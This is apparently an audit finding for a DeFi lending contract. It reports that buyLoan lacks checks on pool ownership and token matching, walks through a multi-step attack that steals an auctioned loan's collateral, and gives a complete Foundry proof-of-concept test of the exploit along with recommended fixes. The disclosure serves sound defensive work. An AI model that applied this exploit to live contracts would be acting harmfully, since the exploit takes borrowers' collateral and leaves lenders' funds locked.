Summary
The platform allows an attacker to steal an auctioned loan's collateral. The result of the attack is that
At some point, some lender will not be able to withdraw the invested loanToken used to create the pool (or add balance to the pool)
The attacker has stolen the whole loan's collateral amount (minus protocol fee) by just spending (loan.debt * borrowerFee / 10_000)
Vulnerability Details
The attack is pretty complex but is based on different issues that are present in the buyLoan function. This function allows
anyone to call the function even if msg.sender is not the owner of the poolId passed as parameter. The function at the very end will anyway set loan.lender = msg.sender and will update the newLoanPool.poolBalance and newLoanPool.outstandingLoans without the authorization of the newLoanPool real owner
do not check that the newLoanPool is compatible with the loan that will be bought. To be specific, the function does not check that newLoanPool.collateralToken == loan.collateralToken and newLoanPool.loanToken == loan.loanToken
We are in the current scenario
Alice creates alicePool with the following config
collateral token = collateralToken
loan token = loanToken
poolBalance = 1000 ether of loanToken
the other part of the config is not relevant
Bob borrows 100 ether of loanToken and provides 100 ether of collateralToken as collateral. This operation generates a Loan identified with the id bobLoan
Some time passes by and Alice decides that she wants to auction bobLoan. Alice calls startAuction(bobLoan)
At this point, the attack starts. Let's call Paul our attacker.
Paul creates a fake pool called fakePool with the following configuration:
collateral token = fakeCollateralToken. This token is a fresh and value-less ERC20 token that Paul deployed just before the pool creation.
loan token = fakeLoanToken. This token is a fresh and value-less ERC20 token that Paul deployed just before the pool creation.
poolBalance = 1000 ether of fakeLoanToken
interestRate = 1 wei. This allows Paul to be able to instantly buy the loan without waiting for the auction to decay the currentAuctionRate
the other part of the config is not relevant
Paul at this point has bought bobLoan spending value-less tokens by using a fakePool that uses tokens incompatible with alicePool and bobLoan
Already at this point, we have created a huge problem for the protocol because
Bob will not be able to refinance or repay the loan to take back the collateral. Those function would try to update a pool identified by (paul, loan.loanToken, loan.collateralToken) but such pool does not exist because the loan has been "bought" by using fakePool identified as (paul, fakeLoanToken, fakeCollateralToken). Because the pool with the tokens used by the Loan do not exist, both repay and refinance will revert to an underflow error
At some point some Lender won't be able to withdraw their loanToken because Paul has not provided any loanToken to create the fakePool but only an amount of fakeLoanToken
Paul now performs the final step to steal the collateral that Bob has provided to open the borrow position. To do so, Paul needs to seize bobLoan.
The only problem for Paul is that the function perform this operation at the very end
bytes32 poolId = keccak256(
abi.encode(loan.lender, loan.loanToken, loan.collateralToken)
);
pools[poolId].outstandingLoans -= loan.debt;
But at the moment pools[poolId] does not exist because Paul has only created a pool that uses the fake tokens. To be able to finish the attack, Paul needs to perform
Paul creates a real pool called paulPool with the following configuration
collateral token = collateralToken (equal to bobLoan.collateralToken)
loan token = loanToken. (equal to bobLoan.loanToken)
poolBalance = bobLoan.debt ether of loanToken. We just need to make the seizeLoan function not revert when it updates the paulPool.outstandingLoans state variable
interestRate = 1 wei. This allows Paul to be able to instantly buy the loan without waiting for the auction to decay the currentAuctionRate
minLoanSize <= bobLoan.debt. In this case, we can set it to 1 wei
maxLoanRatio = type(uint256).max. The attacker wants to be able to provide less collateral as possible to perform the needed debt
Paul perform an auto-borrow operation. Be borrows loanToken from his own paulPool to maximize the final profit, spending as less as possible. Paul borrows from paulPool bobLoan.debt tokens, providing only 1 wei of collateralToken. This is possible because paulPool.maxLoanRatio == type(uint256).max. By performing this operation, we now have paulPool.outstandingDebt == bobLoan.debt. At the end of the operation, Paul will have in his balance bobLoan.debt - borrowerProtocolFee of loanToken
Paul calls startAuction([bobLoan]) starting the loan auction
Paul calls seizeLoan([bobLoan]) that will seize bobLoan.collateral amount of collateralToken and will send them to the attacker (minus the protocol fee)
At the end of the attack, Paul has invested just bobLoan.debt * borrowerFee / 10_000 of loanToken to perform the needed borrow operation and has gained the whole bobLoan.collateral (minus the protocol fee).
Impact
The platform allows an attacker to steal an auctioned loan's collateral. The result of the attack is that
At some point, some lender will not be able to withdraw the invested loanToken used to create the pool (or add balance to the pool)
The attacker has stolen the whole loan's collateral amount (minus protocol fee) by just spending (loan.debt * borrowerFee / 10_000)
Tools Used
Manual + foundry test
BaseLender.sol utility contract
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/Lender.sol";
import {ERC20} from "solady/src/tokens/ERC20.sol";
contract TERC20 is ERC20 {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
contract WrappedLender is Lender {
function getLoanDebtDetail(uint256 loanId) external view returns (uint256 fullDebt, uint256 interest, uint256 fees) {
Loan memory loan = loans[loanId];
(interest, fees) = _calculateInterest(loan);
fullDebt = loan.debt + interest + fees;
}
function getPoolInfo(bytes32 poolId) external view returns (Pool memory) {
return pools[poolId];
}
function getLoanInfo(uint256 loanId) external view returns (Loan memory) {
return loans[loanId];
}
function calculateInterest(
Loan memory loan
) external view returns (uint256 interest, uint256 fees) {
return _calculateInterest(loan);
}
}
contract BaseLender is Test {
WrappedLender public lender;
TERC20 public loanToken;
TERC20 public collateralToken;
address public lender1 = address(0x1);
address public lender2 = address(0x2);
address public borrower = address(0x3);
address public fees = address(0x4);
function setUp() public virtual {
lender = new WrappedLender();
loanToken = new TERC20();
collateralToken = new TERC20();
loanToken.mint(address(lender1), 100000 ether);
loanToken.mint(address(lender2), 100000 ether);
collateralToken.mint(address(borrower), 100000 ether);
vm.startPrank(lender1);
loanToken.approve(address(lender), 1000000 ether);
collateralToken.approve(address(lender), 1000000 ether);
vm.startPrank(lender2);
loanToken.approve(address(lender), 1000000 ether);
collateralToken.approve(address(lender), 1000000 ether);
vm.startPrank(borrower);
loanToken.approve(address(lender), 1000000 ether);
collateralToken.approve(address(lender), 1000000 ether);
}
function borrow(address _borrower, bytes32 poolId) public {
vm.startPrank(_borrower);
Borrow memory b = Borrow({
poolId: poolId,
debt: 100 ether,
collateral: 100 ether
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
vm.stopPrank();
}
function createPool(address _lender) public returns (bytes32){
vm.startPrank(_lender);
Pool memory p = Pool({
lender: _lender,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 ether,
poolBalance: 1000 ether,
maxLoanRatio: 2 ether,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
vm.stopPrank();
return poolId;
}
function startAuction(address _lender, uint256 loanId) public {
uint256[] memory loans = new uint256[](1);
loans[0] = loanId;
vm.prank(_lender);
lender.startAuction(loans);
}
function seizeLoan(uint256 loanId) public {
uint256[] memory loans = new uint256[](1);
loans[0] = loanId;
lender.seizeLoan(loans);
}
function getPoolId(address _lender) public returns (bytes32) {
return keccak256(
abi.encode(
address(_lender),
address(loanToken),
address(collateralToken)
)
);
}
}
AttackerStealLoanCollateral.t.sol
pragma solidity ^0.8.13;
import "./BaseLender.sol";
contract AttackerStealLoanCollateralTest is BaseLender {
function setUp() override public {
super.setUp();
}
function testBuyLoanWithFakePool() public {
bytes32 pool1 = createPool(lender1);
borrow(borrower, pool1);
uint256 loanId = 0;
vm.warp(block.timestamp + 364 days + 12 hours);
uint256[] memory loans = new uint256[](1);
loans[0] = loanId;
vm.prank(lender1);
lender.startAuction(loans);
vm.warp(block.timestamp + 12 hours);
Loan memory loanBefore = lender.getLoanInfo(loanId);
address attacker = makeAddr("attacker");
TERC20 fakeCollateralToken = new TERC20();
TERC20 fakeLoanToken = new TERC20();
vm.startPrank(attacker);
fakeCollateralToken.mint(attacker, 100_000 ether);
fakeCollateralToken.approve(address(lender), type(uint256).max);
fakeLoanToken.mint(attacker, 100_000 ether);
fakeLoanToken.approve(address(lender), type(uint256).max);
vm.stopPrank();
vm.prank(attacker);
bytes32 fakePoolId = lender.setPool(Pool({
lender: attacker,
loanToken: address(fakeLoanToken),
collateralToken: address(fakeCollateralToken),
minLoanSize: 100 ether,
poolBalance: 1000 ether,
maxLoanRatio: 2 ether,
auctionLength: 1,
interestRate: 1,
outstandingLoans: 0
}));
Pool memory fakePoolInfoBefore = lender.getPoolInfo(fakePoolId);
vm.prank(attacker);
lender.buyLoan(loanId, fakePoolId);
Pool memory fakePoolInfoAfter = lender.getPoolInfo(fakePoolId);
Loan memory loanAfter = lender.getLoanInfo(loanId);
assertTrue( fakePoolInfoAfter.loanToken != loanAfter.loanToken );
assertTrue( fakePoolInfoAfter.collateralToken != loanAfter.collateralToken );
assertEq( lender1, loanBefore.lender );
assertEq( fakePoolInfoAfter.lender, loanAfter.lender );
assertEq( fakePoolInfoAfter.lender, attacker );
assertEq(fakePoolInfoBefore.poolBalance, 1000 ether);
assertLt(fakePoolInfoAfter.poolBalance, fakePoolInfoBefore.poolBalance);
assertEq(fakePoolInfoBefore.outstandingLoans, 0);
assertGt(fakePoolInfoAfter.outstandingLoans, fakePoolInfoBefore.outstandingLoans);
{
loans = new uint256[](1);
loans[0] = loanId;
vm.prank(borrower);
vm.expectRevert(stdError.arithmeticError);
lender.repay(loans);
}
{
Refinance[] memory rs = new Refinance[](1);
rs[0] = Refinance({
loanId: loanId,
poolId: fakePoolId,
debt: 100 ether,
collateral: 100 ether
});
vm.prank(borrower);
vm.expectRevert(TokenMismatch.selector);
lender.refinance(rs);
}
vm.startPrank(attacker);
collateralToken.mint(attacker, 1);
collateralToken.approve(address(lender), 1);
loanToken.mint(attacker, loanAfter.debt);
loanToken.approve(address(lender), loanAfter.debt);
vm.stopPrank();
uint256 collateralTokenBalanceBefore = collateralToken.balanceOf(attacker);
uint256 loanTokenalanceBefore = loanToken.balanceOf(attacker);
vm.prank(attacker);
bytes32 attackerPoolId = lender.setPool(Pool({
lender: attacker,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 1,
poolBalance: loanAfter.debt,
maxLoanRatio: type(uint256).max,
auctionLength: 1,
interestRate: 1,
outstandingLoans: 0
}));
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = Borrow({
poolId: attackerPoolId,
debt: loanAfter.debt,
collateral: 1
});
vm.prank(attacker);
lender.borrow(borrows);
vm.prank(attacker);
lender.startAuction(loans);
vm.warp(block.timestamp + 1 days);
loans = new uint256[](1);
loans[0] = loanId;
vm.prank(attacker);
lender.seizeLoan(loans);
assertEq(collateralTokenBalanceBefore, 1);
assertEq(collateralToken.balanceOf(attacker), loanAfter.collateral - (loanAfter.collateral * lender.borrowerFee() / 10000));
assertEq(loanToken.balanceOf(attacker), loanTokenalanceBefore - (loanTokenalanceBefore * lender.borrowerFee() / 10000));
}
}
Recommendations
The buyFunction should perform additional checks
msg.sender must be the owner of the pool identified by the function input parameter poolId
The pools[poolId].collateralToken must be equal to loan.collateralToken and pools[poolId].loanToken must be equal to loan.loanToken